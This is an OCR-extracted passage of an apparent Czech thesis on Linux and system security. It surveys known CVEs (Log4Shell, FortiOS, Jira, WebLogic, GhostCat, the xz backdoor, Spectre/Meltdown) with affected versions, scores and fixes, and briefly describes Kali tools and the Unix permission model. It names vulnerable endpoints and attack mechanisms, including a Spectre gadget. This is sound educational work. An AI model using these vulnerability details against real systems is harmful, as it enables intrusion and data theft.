mnoha ú t o k ů m c í leným na m a l á le t iš tě , autoservisy a p o d o b n ě . 

P ř i o d s t r a ň o v á n í zranitelnosti je n u t n é provés t z á p l a t u lokálních se rverů Microsoft E x 
change. K e zneuž i t í zranitelnosti již mohlo doj í t a je tedy n u t n é provés t kontrolu zabezpečen í 
sí tě a provés t kontrolu, zda se v s y s t é m u vyskytuje malware. [33] 
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Zran i t e lnými verzemi jsou Microsoft Exchange Server 2013 Cumula t ive Update 23, 2016 
Cumulat ive Update 19, 2016 Cumula t ive Update 20, 2019 Cumula t ive Update 8 a 2019 
Cumulat ive Update 9. 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 9.8. [13] 

4 . 7 . 2 C V E - 2 0 2 1 - 4 4 2 2 8 ( L o g 4 j n e b o L o g 4 S h e l l ) 

Log4Shel l je označen í pro zranitelnost v p ro toko lovac ím nás t ro j i zvaného Apache Log4j2, 
k t e r ý je použ i t v jazyce Java. Zranitelnost se k o n k r é t n ě t ý k á funkce J N D I (Java N aming 
and Directory Interface). P ř i s p r á v n é m n a s t a v e n í m ů ž e ú t o č n í k ov l áda t p ro tokolové z p r á v y 
nebo parametry p ro toko lových z p r á v a t í m docíl i t s p u š t ě n í l ibovolného k ó d u n a č t e n é h o ze 
serverů L D A P . Ú t o k y zneužívaj ící tu to zranitelnost by l nejvíce pos t i žen f inanční p růmys l . 

P ro o d s t r a n ě n í zranitelnosti je n u t n á aktualizace aplikace na verzi 2.15.0 nebo novější 
a p o u ž i t í m s p r á v n é konfigurace. [33] 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 10. [13] 

4 . 7 . 3 C V E - 2 0 1 8 - 1 3 3 7 9 

Zranitelnost se t ý k á s y s t é m u Fo r t iOS . Ú p r a v o u p o ž a d a v k ů na p r o s t ř e d k y m ů ž e ú t o č n í k 
docíl i t p ř eč t en í s o u b o r ů relací , k t e r é obsahuj í pověřen í ve formě p r o s t é h o textu. Společnos t 
K a š p e r s k y zdokumentovala p ř í p a d zneuž i t í t é t o zranitelnosti k vy tvo řen í v s t u p n í h o bodu, 
po k t e r é m by l do s y s t é m u vložen ransomware oznčený jako C r in g . [33] 

Pro z a b r á n ě n í zneuž i t í zranitelnsoti je n u t n á aktualizace s y s t é m u Fo r t iOS a dalš í kroky, 
k t e r é zahrnu j í n a p ř í k l a d použ i t í n á s t r o j ů pro detekci a b lokování chybných p o ž a d a v k ů na 
p ros t ř edky . [33] 

Zran i t e lné verze jsou Fortinet Fo r t iOS 5.6.3, 5.6.4, 5.6.5, 5.6.6, 5.6.7, 6.0.0, 6.0.1, 6.0.2, 
6.0.3 a 6.0.4. 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 9.8. [13] 

4 . 7 . 4 C V E - 2 0 2 0 - 1 4 1 7 9 

Díky zranitelnosti v sy s t émech At lass ian J i r a Server a D a t a Center m ů ž e ú t o č n í k p ros t ř ed 
n i c tv ím koncového bodu /secure/QueryComponent!Default.jspa docí l i t ú n i k u informací . [33] 

Zran i t e lné verze aplikace At lass ian J i r a D a t a Center jsou do verze 8.5.8 (k romě) , od 
8.6.0 (včetně) do 8.11.1 ( k r o m ě ) . Z ran i t e lné verze aplikace At lass ian J i r a Server jsou do 
8.5.8 (k romě) , od 8.6.0 (včetně) do 8.11.1 (k romě) . 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 5.3. [13] 

4 . 7 . 5 C V E - 2 0 2 1 - 2 6 0 8 6 

Zranitelnost v sys t émech At lass ian J i r a Server a D a t a Center m ů ž e bý t zneuž i t a ke č ten í 
u rč i tých s o u b o r ů d íky koncovému bodu /WEB-INF/web.xml. P ř i zneuž i t í t é t o zranitelnosti 
mohou ú točn íc i docíl i t vzdá l eného s p u š t ě n í k ó d u nebo k rádeže informací . [33] 

Zran i t e lné verze aplikace At lass ian J i r a D a t a Center jsou do verze 8.5.14 (k romě) , od 
8.6.0 (včetně) do 8.13.6 (k romě) , od 8.14.0 (včetně) do 8.16.1 ( k r o m ě ) . Z ran i t e lné verze 
aplikace At lass ian J i r a Server jsou do 8.5.14 (k romě) , od 8.6.0 (včetně) do 8.13.6 (k romě) , 
od 8.14.0 (včetně) do 8.16.1 (k romě) . 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 5.3. [13] 

53 



4 . 7 . 6 C V E - 2 0 1 9 - 8 4 4 2 

Zranitelnost v s y s t é m u At lass ian J i r a je z p ů s o b e n a n e d o s t a t e č n o u val idací už iva te l ského 
vstupu. Ú t o č n í k m ů ž e o d e s l á n í m u p r a v e n é h o p o ž a d a v k u na cílový server d o s á h n o u t ú n i k u 
informací . [33] 

Zran i t e lné verze s y s t é m u At lass ian J i r a jsou do verze 7.13.4 (k romě) , od 8.0.0 (včetně) 
do 8.0.4 (k romě) , od 8.1.0 (včetně) do 8.1.1 (k romě) . 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 7.5. [13] 

4 . 7 . 7 C V E - 2 0 1 8 - 2 8 9 4 

Zranitelnost serverů Oracle WebLogic Server umožňu je n e o p r á v n ě n ý p ř í s t u p na por tu 7001 
k ces tě /ws_utc/config.do. P o v y t v o ř e n í zap i sova te lného a d r e s á ř e Work Home Dir a n a h r á n í 
souboru J S P (Java Server Page) p r o s t ř e d n i c t v í m karty zabezpečen í m ů ž e ú t o č n í k spustit 
n a h r a n ý J S P , což m ů ž e vést ke kompromutaci serveru. [33] 

P ro z a b r á n ě n í zneuž i t í je n u t n é zablokování por tu 7001 a ověření , že server WebLogic 
nepracuje ve vývojovém rež imu a instalace zápla ty . 

Zran i t e lné verze se rverů Oracle WebLogic Server jsou 10.3.6.0.0, 12.1.3.0.0, 12.2.1.2.0 a 
12.2.1.3. 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 9.8. [13] 

4 . 7 . 8 C V E - 2 0 2 0 - 1 9 3 8 ( G h o s t C a t ) 

Zranitelnost v s y s t é m u Apache Tomcat je z p ů s o b e n a c h y b n ý m zpracován í H T T P p o ž a d a v k ů 
obshujících více hlaviček Content-Length a umožňu je ú točn íkov i provés t ú t o k typu DoS 
nebo spustit l ibovolný kód . [33] 

Zran i t e lné verze s y s t é m u Apache Tomcat jsou od 7.0.0 (včetně) do 7.0.99 (vče tně) , od 
8.5.0 (včetně) do 8.5.50 (vče tně) , od 9.0.0 (včetně) do 9.0.30 (vče tně) . 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 9.8. [13] 

4 . 7 . 9 C V E - 2 0 2 2 - 2 4 0 8 6 

Zranitelnost v ap l ikac ích Adobe Commerce a Magento Open Source je z p ů s o b e n a nedo
s t a t e č n o u val idací vs tupu a umožňu je vzdá l ené s p u š t ě n í kódu . S p u š t ě n í m skenování zrani
t e lnos t í web s t r á n e k m ů ž e ú t o č n í k obej í t ochrany a po zneuž i t í zranitelnosti m ů ž e doj í t k 
úp lně kompromitaci sy s t ému . [33] 

Zran i t e lné jsou platformy, kde je s p u š t ě n Magento Open Source 2.4.3-pl , 2.4.3-p2 a 
s ta r š í verze, 2.3.7-p2 a s t a r š í verze nebo Adobe Commerce 2.4.3-pl , 2.4.3-p2 a s t a r š í verze, 
2.3.7-p2 a s t a r š í verze. 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 9.8. [13] 

4 . 7 . 1 0 C V E - 2 0 2 0 - 3 4 5 2 

Zranitelnost se vyskytuje v S W Cisco A S A a F T D . P ř i odes lán í u p r a v e n é h o H T T P poža
davku m ů ž e ú t o č n í k p ř i s t u p o v a t k l ibovo lným s o u b o r ů m v s o u b o r o v é m s y s t é m u web s lužeb 
za p ř e d p o k l a d u , že je v s y s t é m u nastavena W e b V P N nebo AnyConnec t . M e z i tyto soubory 
p a t ř í n a p ř í k l a d zá ložky nebo soubory cookie. [33] 

Zran i t e lné verze Cisco Adapt ive Security Appl iance Software od 9.6 (včetně) do 9.6.4.42 
(k romě) , od 9.8 (včetně) do 9.8.4.20 (k romě) , od 9.9 (včetně) do 9.9.2.74 (k romě) , od 9.10 
(včetně) do 9.10.1.42 (k romě) , od 9.12 (včetně) do 9.12.3.12 (k romě) , od 9.13 (včetně) do 
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9.13.1.10 (k romě) , od 9.14 (včetně) do 9.14.1.10 ( k r o m ě ) . Dá le jsou z r an i t e lné verze Cisco 
Firepower Threat Defense od 6.2.3 (včetně) do 6.2.3.16 (k romě) , od 6.3.0 (včetně) do 6.3.0.6 
(k romě) , od 6.4.0 (včetně) do 6.4.0.10 (k romě) , od 6.5.0 (včetně) do 6.5.0.5 (k romě) , od 6.6.0 
(včetně) do 6.6.0.1 (k romě) . 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 7.5. [13] 

4 . 7 . 1 1 C V E - 2 0 2 4 - 2 6 5 8 2 

Zranitelnost typu use-after-free se vyskytuje j á d ř e s y s t é m u L i n u x v s u b s y s t é m u T L S ve 
funkci tls_decrypt_sg. Funkce tls_decrypt_sg ignoruje odkaz na s t r á n k y p ř e d á v a n é z funkce 
clear_skb a z toho d ů v o d u jsou tyto s t r á n k y p ř e d č a s n ě uvo lněny ve funkci put_page volané 
z funkce tls_decrypt_done. Pokus o p ř e č t e n í čá s t ečně p ř e č t e n é d a t o v é s t ruktury skb je 
p ř íč inou zranitelnosti use-after-free popsanou v čás t i 5.3.3. [35] [42] 

P ř i ú s p ě š n é m zneuž i t í zranitelnosti m ů ž e bý t s p u š t ě n l ibovolný kód nebo m ů ž e doj í t k 
poškození dat. 

Zneuž i te lné verze j á d r a jsou od 6.0 (včetně) do 6.1.79 (k romě) , od 6.2.0 (včetně) do 
6.6.18 (k romě) , od 6.7.0 (včetně) do 6.7.6 (k romě) . 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 7.8. [13] 

4 . 7 . 1 2 C V E - 2 0 2 4 - 3 0 9 4 

J e d n á se o z á m ě r n ě v loženou zranitelnost do knihovny liblzma n á s t r o j e xz Utils sloužící 
pro b e z z t r á t o v o u kompresi dat. B y l a n á h o d n ě odhalena i nžený rem společnos t i Micosoft, 
k t e r ý chtě l zjistit p ř íč inu chyb vygenerovaných n á s t r o j e m valgrind p ř i p ř ih lašován í p o m o c í 
S S H (Secure Shell) a t a k é d ů v o d , p r o č toto př ih lašování spo t ř ebovává příl iš mnoho cyklů 
procesoru. [36] 

V o p e r a č n í m s y s t é m u Debian a dalš ích l inuxových d i s t r i buc íh zahrnuje program systemd 
odkaz na spus t i t e lný soubor sshd. P rogram systemd zajišťuje n a č t e n í s lužeb b ě h e m fáze 
spouš t ěn í sy s t ému . Spus t i t e l ný soubor sshd zajišťuje navazován í vzdá lených p ř ipo jen í S S H . 
Program systemd se odkazuje i na knihovnu liblzma, což u m o ž ň u j e nás t ro j i xz Utils kontrolu 
nad s p u s t i t e l n ý m souborem sshd. 

Škodl ivý kód vložený do knihovny liblzma m a n i p u l a c í se s p u s t i t e l n ý m souborem sshd 
v y t v á ř í z a d n í v r á t k a umožňuj íc í ú točn íkov i se s p r á v n ý m s o u k r o m ý m kl íčem vložení l ibo
volného k ó d u do př ih lašovac ího S S H cer t i f iká tu . Libovolný kód je p o t é s p u š t ě n na zař ízení 
s v y t v o ř e n ý m i z a d n í m i v r á tky . [74] 

Zranitelnost se nacház í ve verzích 5.6.0 a 5.6.1 n á s t r o j e xz Utils. [72] 
H o d n o c e n í zranitelnosti podle stupnice C N A : R e d Hat , Inc. je 10. [13] 

4 . 7 . 1 3 S p e c t r e a M e l t d o w n 

Spectre a Mel tdown je označen í pro H W zranitelnosti m o d e r n í c h p rocesorů . O b ě zrani
telnosti jsou z p ů s o b e n y v l a s t n o s t í m o d e r n í c h p roceso rů nazvanou s p e k u l a t i v n í p rováděn í 
ins t rukc í , k t e r é je za j i š těno p r o s t ř e d n i c t v í m prediktoru vě tvení . [45] 

Prediktor vě tven í slouží ke s p e k u l a t i v n í m u určen í dalš í v y k o n áv an é instrukce v p ř í p a d ě , 
že se v programu nacház í instrukce pro z m ě n u toku p rováděných ins t rukc í . Spolehl ivé roz
h o d n u t í o dalš í v y k o n á v a n é instrukci je stanoveno na zák ladě výs ledku instrukce pro z m ě n u 
toku p rováděných ins t rukc í . P ř i zas t aven í zas t aven í p rováděn í ins t rukc í v i n s t rukčn í pipeline 
procesoru, z d ů v o d u čekán í na r o z h o d n u t í , by došlo ke snížení výkonu . P ř í k l a d e m instrukce 
měníc í tok programu je n a p ř í k l a d instrukce pro vě tven í programu. P ř i chybně p r o v e d e n é m 
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odhadu jsou z rušeny z m ě n y v y k o n a n é s p e k u l a t i v n ě p r o v e d e n ý m i instrukcemi. P ř i s p r á v n é m 
odhadu docház í ke zvýšení výkonu . 

K e s p e k u l a t i v n í m u p rováděn í m ů ž e doj í t i v r á m c i s a m o t n é instrukce. Instrukce m ů ž e 
bý t s p e k u l a t i v n ě provedena p ř e d t í m , než je ověřeno, zda m á nebo n e m á povolení k je j ímu 
provedení . Tato vlastnost způsobu je zranitelnost Mel tdown. 

Spectre a Mel tdown je ve sku tečnos t i označen í pro m n o ž i n u z ran i t e lnos t í , k t e r é jsou si do 
u rč i t é m í r y p o d o b n é . P r o s t ř e d n i c t v í m s p e k u l a t i v n í h o p rováděn í je s p u š t ě n ú t o č n í k ů v kód, 
k t e r ý bez povolení č t e t a j n á data z p a m ě t i . P ř e č t e n á t a j n á data jsou z í skána p o s t r a n n í m 
k a n á l e m . P o s t r a n n í m k a n á l e m m ů ž e bý t paměť cache procesoru. 

P o s t r a n n í k a n á l je označen í pro nezamýš l enou cestu, kterou un ika j í informace. Jako 
př ík lad m ů ž e pos louži t program určený pro zj iš tění t i s k n u t é h o textu na zák ladě zvuku 
t i skárny . V t a k o v é m p ř í p a d ě je p o s t r a n n í m k a n á l e m zvuk. 

Zranitelnosti se vysky tu j í v někol ika va r i an t ách . V čás t i 4.7.13 je uvedena varianta 
zranitelnosti Spectre a v čás t i 4.7.13 je uvedena varianta zranitelnosti Mel tdown. 

S p e c t r e 

Škodl ivý kód zneužívající tuto zranitelnost je uveden ve výpise 4.9. 

i f (x < 256) { 
secret = arrayl [x] 
y = array2[secret] 

} 

Výpis 4.9: Š k o d l i v ý k ó d z n e u ž í v a j í c í z r a n i t e l n o s t i S e p c t r e . P ř e v z a t o ze z d r o j e 
[45]. 

Procesor začne s p e k u l a t i v n ě p rovádě t instrukce v p o d m í n ě n é větv i k ó d u i p ře s to , že je 
hodnota p r o m ě n n é x vě tš í než hodnota 256. To je z p ů s o b e n o n ě k o l i k a n á s o b n ý m s p u š t ě n í m 
škodl ivého k ó d u s hodnotou p r o m ě n n é x menš í než 256 a prediktor vě tven í p ř e d p o k l á d á , 
že tomu tak bude i p ř i da l š ím spuš t ěn í . V pol i arrayl na indexu x je u ložena adresa, na 
k t e r é se n a c h á z í p o ž a d o v a n é t a j n é informace. P ř i p ř í s t u p u do pole arrayž je do p a m ě t i 
cache v ložena t a j n á informace. P a m ě ť cache byla p o m o c í in s t rukc í flush v y m a z á n a , t akže 
n a č t e n á t a j n á data pocház í z h l avn í p a m ě t i . P ř i v y h o d n o c e n í chybně zvolené vě tve nejsou 
hodnoty p r o m ě n n ý c h y a secret zv id i te lněny programu, ale t a j n á informace z h lavn í p a m ě t i 
je j íž n a č t e n a do p a m ě t i cache. M ě ř e n í m doby p ř í s t u p u k d a t ů m nacháze j íc ím se v p a m ě t i 
cache lze zjistit, zda data v p a m ě t i cache jsou nebo ne. 

M e l t d o w n 

N a o b r á z k u 4.6 je uvedeno znauž i t í zranitelnosti Mel tdown nacházej íc í se v procesoru spo
lečnost i Intel. 
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MELTDOWN 
Logicky by čtení z paměti mělo fungovat takto: 

T 

Má aplikace oprávnění číst z této adresy? 

Ano Ne 

Čtení z paměti 1 

Procesory Intel však 
kvůli úspoře času 
provádějí tyto 
kroky mimo pořadí. 

Má aplikace oprávnění číst z této adresy? 

Pomocí maskování výjimek a postranního kanálu, 
který určuje dobu čtení z paměti, může Meltdown 
ukrást tajná data. 

O b r á z e k 4.6: Z r a n i t e l n o s t M e l t d o w n z p ů s o b e n a s p e k u l a t i v n í m p r o v á d ě n í m v 
r á m c i j e d n é i n s t r u k c e . P ř e v z a t o ze z d r o j e [45]. 

Instrukce p ř e č t e t a j n á data z p a m ě t i . P ř i zj ištění , že instrukce n e m á o p r á v n ě n í ke č ten í z 
adresy p a m ě t i je ignorována vý j imka . P ř e č t e n á data je m o ž n é přeč ís t z p o s t r a n n í h o k a n á l u 
měřen í p ř í s t u p o v ý c h časů k d a t ů m . 

4.8 K a l i linux 

O p e r a č n í s y s t é m K a l i l inux p ř eds t avu j e dis t r ibuci L i n u x u s o t e v ř e n ý m z d r o j o v ý m k ó d e m 
u rčenou pro p e n e t r a č n í t e s tován í a b e z p e č n o s t n í audit. V r á m c i s y s t é m u se nacház í několik 
stovek n á s t r o j ů zaměřuj íc ích se n a p ř í k l a d na p e n e t r a č n í t es tování , b e z p e č n o s t n í v ý z k u m , 
poč í t ačovou forenzní a n a l ý z u nebo reverzní inženýrs tv í . [70] V t é t o kapitole jsou uvedeny 
něk t e r é ná s t ro j e . 

4 . 8 . 1 N m a p 

N á s t r o j N m a p je u r č e n ý pro m a p o v á n í s í tě . Umožňu je zj iš tění hos t i t e lů nacházej íc ích se v 
síti , u rčen í o p e r a č n í h o s y s t é m u cílového zař ízení , detekovat verzi aplikace nebo skenování 
p o r t ů vys t avených na hostiteli . [79] 

4 . 8 . 2 A i r c r a c k - n g 

Aircrack-ng označuje sadu zaměřuj íc í se na b e z p e č n o s t b e z d r á t o v ý c h sí t í . D íky s adě je 
m o ž n é dešifrovat hesla W E P (Wired equivalent privacy), W P A ( W i - F i protected access), 
W P A , W P A 2 - P S K . Dá le umožňu je injekci p a k e t ů , p roveden í ú t o k u p ř e h ř á t í m a dalš í . V 
sadě je mimo j iné obsažen i a n a l y z á t o r p a k e t ů . 

4 . 8 . 3 J T R ( J o h n t h e R i p p e r ) 

J T R je označen í pro offline n á s t r o j pro ú t o k y hrubou silou na hesla. N á s t r o j umožňu je pro
veden í s lovníkových ú t o k ů , m ů ž e bý t s p u š t ě n jako ú l o h a cronu a podporuje ř a d u a lgo r i tmů , 
mezi k re ré p a t ř í n a p ř í k l a d S H A - 1 , D E S , L M / N T L M hashe s y s t é m u Windows a další . 
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4 . 8 . 4 H y d r a 

H y d r a je n á s t r o j b ě ž n ě použ ívaný s n á s t r o j e m J T R a označuje online program pro ú t o k y 
na hesla. S te jně jako J T R umožňu je p roveden í s lovníkových ú t o k ů , ú t o k y hrubou si lou a 
poskytuje podporu pro mnoho síťových p ro toko lů . 

4 . 8 . 5 S E T 

N á s t r o j S E T je z a m ě ř e n na ú t o k y sociá ln ího inženýrs tv í . M e z i h l avn í funkce p a t ř í generování 
phishing ú t o k ů , S M S ú t o k ů , e-mail ú t o k ů a p o d o b n ě . 

4 . 8 . 6 B u r p S u i t e 

Sada B u r p Suite je v y u ž i t a př i p e n e t r a č n í m t e s tován í web apl ikací . Umožňu je v y p s á n í 
a d r e s á ř ů na web serveru, p ř e h r á n í p o ž a d a v k u , kontrolu a ú p r a v u p o ž a d a v k ů a odpověd í 
v y t v á ř e n ý c h s m ě r e m k cílové web apl ikaci a další . 

4 . 8 . 7 S q l m a p 

N á s t r o j sqlmap je u rčen pro a u t o m a t i c k é p rováděn í ú t o k ů t y p u S Q L injection. Umožňu je 
n a p ř í k l a d z ískávání informací z tabulek, vyh ledáván í tabulek v d a t a b á z í c h nebo vyh ledáván í 
s loupců . [16] 
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Kapitola 5 

Bezpečnost operačního systému 
Linux 

V kapitole je vysvě t len t r a d i č n í model o p r á v n ě n í spolu s m o d e r n í m modelem schopnos t í , 
k t e r ý zvyšuje b e z p e č n o s t rozdě len ím p r á v uživate le root na menš í čás t i . Dá le jsou uvedeny 
běžné zranitelnosti j á d r a o p e r a č n í h o s y s t é m u L inux . 

5.1 Tradiční model oprávnění 

M o d e l o p r á v n ě n í p ř e d s t a v u j e mechanizmus pro za j i š tění ochrany s o u b o r ů v s o u b o r o v é m 
sys t ému . P r o k a ž d ý soubor jsou definovány t ř i kategorie p ř í s t u p u . V p r v n í kategorii jsou 
uvedena o p r á v n ě n í pro v l a s tn íka , ve d r u h é kategorii jsou uvedena o p r á v n ě n í pro skupinu 
a v pos ledn í jsou uvedena o p r á v n ě n í pro o s t a t n í už iva te le . V k a ž d é kategorii jsou opráv
něn í def inována t ř e m i bity. B i t r u rču je o p r á v n ě n í pro č ten í obsahu souboru, bit w určuje 
o p r á v n ě n í pro zápis do souboru a x u rču je o p r á v n ě n í pro s p u š t ě n í souboru, k t e r ý se t ý k á 
zkompi lovaných b i n á r n í c h ap l ikac í nebo n a p ř í k l a d s k r i p t ů u rčených pro shell. V ý z n a m b i t ů 
o p r á v n ě n í se m í r n ě liší pro ad resá řové soubory jak je uvedeno v kapitole 5.1.1. Logická hod
nota 1 v p ř í s lu šném b i tu z n a m e n á udě len í o p r á v n ě n í a logická hodnota 0 z n a m e n á o d ep řen í 
op rávněn í . [48] [76] 

Jako p ř ík l ad lze uvažova t soubor myfile j ehož bi ty o p r á v n ě n í pro r ů z n é kategorie pří
stupu jsou uvedeny v tabulce 5.1. 

Kategorie p ř í s t u p u V l a s t n í k (U) Skupina (G) O s t a t n í (0 ) 
B i t y o p r á v n ě n í r w X r w X r w X 
P ř í k l a d (myfile) 1 1 0 1 1 0 1 0 0 

Tabulka 5.1: Kategorie p ř í s t u p u a bi ty o p r á v n ě n í souboru myfile. P ř e v z a t o ze zdroje [76]. 

Informace o o p r á v n ě n í jsou u loženy ve s t r u k t u ř e zvané inode. T y t o informace lze zobrazit 
n a p ř í k l a d p o u ž i t í m p ř í k a z u Is. Ve s t r u k t u ř e inode je t a k é u ložen ident i f iká tor v l a s t n í k a (dále 
jen file_UID) a ident i f iká tor skupiny (dále jen file_GID). 

P ř i udě lování p ř í s t u p u rozhoduje jak o p r á v n ě n í souboru, tak pověřen í procesu, k t e r ý 
p rovád í p ř í s t u p . Pověřen í procesu je p o p s á n o v kapitole 5.1.2. 
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5 .1 .1 O p r á v n ě n í a d r e s á ř o v é h o s o u b o r u 

B i t y o p r á v n ě n í ma j í v p ř í p a d ě ad re sá řového souboru následuj íc í v ý z n a m : 

• B i t r označuje o p r á v n ě n í pro prohl ížen í obsahu ad re sá ř e . 

• B i t w označu je o p r á v n ě n í pro v y t v á ř e n í a m a z á n í s o u b o r ů v ad resá ř i . 

• B i t x označuje o p r á v n ě n í pro z ískání rozš í řených informací o souborech v ad re sá ř i a 
t a k é označuje o p r á v n ě n í pro p ř e s u n do a d r e s á ř e p ř í k a z e m cd. 

5 .1 .2 P o v ě ř e n í p r o c e s u 

Pověřen í procesu zahrnuje n a p ř í k l a d ident i f iká tor procesu, ident i f iká tor relace, efekt ivní 
ident i f iká tor už iva te le (dále jen E U I D ) , reá lný ident i f iká tor už iva te le (dále jen R U I D ) , efek
t i vn í ident i f iká tor skupiny (dá le jen E G I D ) , reá lný ident i f iká tor skupiny (dá le jen R G I D ) 
a dalš í . T y t o informace jsou uloženy ve s t r u k t u ř e označované jako P C B (Process Cont ro l 
B lock) . 

Hodnoty R U I D a R G I D označuj í ident i f iká tor p ů v o d n í h o v l a s t n í k a a v las tn íc í skupiny a 
hodnoty E U I D a E G I D označuj í hodnoty, k t e r é využ ívá o p e r a č n í s y s t é m pro povolení nebo 
ode p řen í p ř í s t u p u . R e á l n é a efekt ivní hodnoty jsou př i s p u š t ě n í procesu s te jné , ale efekt ivní 
hodnoty je m o ž n ě za b ě h u měn i t . 

P ř i u rčen í reá lných hodnot hraje dů lež i tou rol i soubor /etc/passwd. N a k a ž d é m ř á d k u 
tohoto souboru jsou uvedeny z á z n a m y už iva te lů . Ve t ř e t í m a č t v r t é m pol i z á z n a m u se 
nacház í ident i f iká tor už ivate le (UID) a ident i f iká tor skupiny už iva te le ( G I D ) . P ř i s p u š t ě n í 
procesu už iva te l em jsou tyto hodnoty vyjmuty z jeho z á z n a m u a vloženy do reá lných hodnot 
R U I D a R G I D procesu. 

Reá lné a efekt ivní ident i f iká tory procesu je m o ž n é z íska t p r o v e d e n í m p ř í k a z u id. 

5 .1 .3 J a k p r o b í h á r o z h o d o v á n í o p o v o l e n í p ř í s t u p u 

P ř i rozhodován í o povolení p ř í s t u p u procesu k souboru je n u t n é nejdř íve u rč i t kategorii 
p ř í s t u p u . Z j ednodušený algoritmus pro u rčen í kategorie p ř í s t u p u je u v e d e n ý ve výpise 5.1. 

i f process_EUID == file_UID 
then 

access_category = U 
else i f process_EGIDs.contains(file_GID) 
then 

access_category = G 
else 

access_category = 0 
f i 

Výpis 5.1: Algor i tmus určuj ící kategorii p ř í s t u p u 

V p ř í p a d ě , že se E U I D procesu r o v n á ident i f iká toru už iva te le v l a s t n í k a souboru, je 
p ř idě lena kategorie p ř í s t u p u pro už iva te le . V p ř í p a d ě , že se ident i f iká tor skupiny v las tn íc í 
soubor r o v n á ně j akému ident i f iká toru skupiny, do k t e r é proces p a t ř í , je u d ě l e n a kategorie 
p ř í s t u p u pro skupinu. J inak je u d ě l e n a kategorie p ř í s t u p u pro o s t a t n í už ivate le . 

Po u rčen í kategorie p ř í s t u p u je na zák ladě b i t ů o p r á v n ě n í povolen nebo o d e p ř e n p ř í s t u p 
procesu k souboru. 
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5 .1 .4 S p e c i á l n í b i t y o p r á v n ě n í 

P r o soubor je m o ž n é definovat spec iá ln í b i ty op rávněn í . [76] [51] 

B i t S U I D 

Po s p u š t ě n í b i n á r n í h o s p u s t i t e l n é h o souboru s a k t i v n í m S U I D bi tem je hodnota E U I D 
procesu rovna ident i f iká toru v l a s t n í k a souboru. Tento soubor je označován jako setuid. 
V p ř í p a d ě b i n á r n í h o s p u s t i t e l n é h o souboru v l a s t n ě n é h o už iva te l em root je tento soubor 
označován jako setuid-root. 

P ř i výp i su informací p o m o c í p ř í kazu Is se a k t i v n í S U I D bit pro jev í m a l ý m p í s m e n e m s 
na mís t ě , kde se nacház í bit o p r á v n ě n í x už iva te le jak je uvedeno ve výpise 5.2. 

-rwsrw-r— 1 seawolf seawolf 186 Feb 17 13:15 myFile 
Výpis 5.2: A k t i v n í bit S U I D . 

Pokud je p í s m e n o S velké, pak v la s tn ík souboru n e m á p r á v o na jeho spuš těn í . 
P ř í k l a d e m z n á m é h o setuid-root s p u s t i t e l n é h o souboru je passwd s loužící pro z m ě n u 

už iva te lského hesla. Heslo je u loženo v souboru /etc/shadow, do k t e r é h o m ů ž e zapisovat 
pouze už iva te l root. P ř i s p u š t ě n í passwd je v y t v o ř e n proces j ehož E U I D m á hodnotu 0. 
Proces běž í s o p r á v n ě n í m uživa te le root a m ů ž e provés t zápis do souboru /etc/shadow a 
změn i t heslo. T í m t o z p ů s o b e m už iva te l m ů ž e p r o s t ř e d n i c t v í m n á s t r o j e passwd změn i t své 
heslo i p ře s to , že n e m á d o s t a t e č n á o p r á v n ě n í pro p ř í m ý zápis do souboru /etc/shadow. 

B i t S G I D 

Po s p u š t ě n í b i n á r n í h o spus t i t e l ného souboru s a k t i v n í m S G I D bi tem je hodnota E G I D 
procesu rovna iden t i f iká toru skupiny, ke k t e r é soubor př ís luší . Tento soubor je označován 
jako setgid. 

P ř i výp i su informací p o m o c í p ř í k a z u Is se a k t i v n í S G I D bit pro jev í m a l ý m p í s m e n e m s 
na mís t ě , kde se nacház í bit o p r á v n ě n í x skupiny jak je uvedeno ve výpise 5.3. 

-rw-rwsr— 1 seawolf seawolf 186 Feb 17 13:15 myFile 
Výpis 5.3: A k t i v n í bit S G I D . 

Pokud je p í s m e n o S velké, pak v las tn íc í skupina souboru n e m á p rávo na jeho spuš těn í . 
P ř í k l a d e m z n á m é h o setgid spus t i t e l ného souboru je wall, k t e r ý umožňu je odes lán í z p r á v 

na všechna konzolová zař ízení už iva te lů . Konzolové zař ízení je označeno jako tty. O p r á v n ě n í 
pro zápis na konzolové zař ízení m á pouze už iva te l root nebo člen skupiny tty. B i n á r n í 
spus t i t e lný soubor wall m á n a s t a v e n ý bit S G I D a m á n a s t a v e n é č lens tv í ve s k u p i n ě tty. P ř i 
jeho s p u š t ě n í vznikne proces, j ehož E G I D je rovno s k u p i n ě tty. Proces tak m ů ž e zapisovat 
na konzolová zař ízení už iva te lů . 

5 .1 .5 S t i c k y b i t 

P ř i akt ivaci st icky b i tu na ad re sá ř i m ů ž e z tohoto a d r e s á ř e mazat soubory jen v las tn ík 
s o u b o r ů nebo už iva te l root. 

P ř i výp i su informací p o m o c í p ř í k a z u Is se a k t i v n í sticky bit p ro jev í m a l ý m p í s m e n e m t 
na mís t ě , kde se nacház í bit o p r á v n ě n í x o s t a t n í c h už iva te lů jak je uvedeno ve výpise 5.4. 

drw-rw-r-t 1 seawolf seawolf 186 Feb 17 13:15 myDir 
Výpis 5.4: A k t i v n í sticky bit 
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5.2 Schopnosti 

M o d e r n í model shopnos t í P O S I X (dále jen schopnosti) p ř eds t avu j e bezpečně jš í a l ternat ivu 
k t r a d i č n í m u modelu op rávněn í . Schopnosti umožňu j í rozdě len í p r á v už iva te le root (dále 
jen p r á v a root) na menš í čás t i . P o vložení s chopnos t í do s p u s t i t e l n é h o souboru je m o ž n é jej 
spustit s p r á v y b ě ž n é h o uživate le , p ř i čemž m ů ž e s tá le p rovádě t n ě k t e r é operace, ke k t e r ý m je 
z a p o t ř e b í p r á v root. D o s p u s t i t e l n é h o souboru jsou vloženy jen schopnosti n e z b y t n é pro jeho 
s p r á v n o u č innos t . Tento spus t i t e lný soubor by musel bý t ve t r a d i č n í m modelu o p r á v n ě n í 
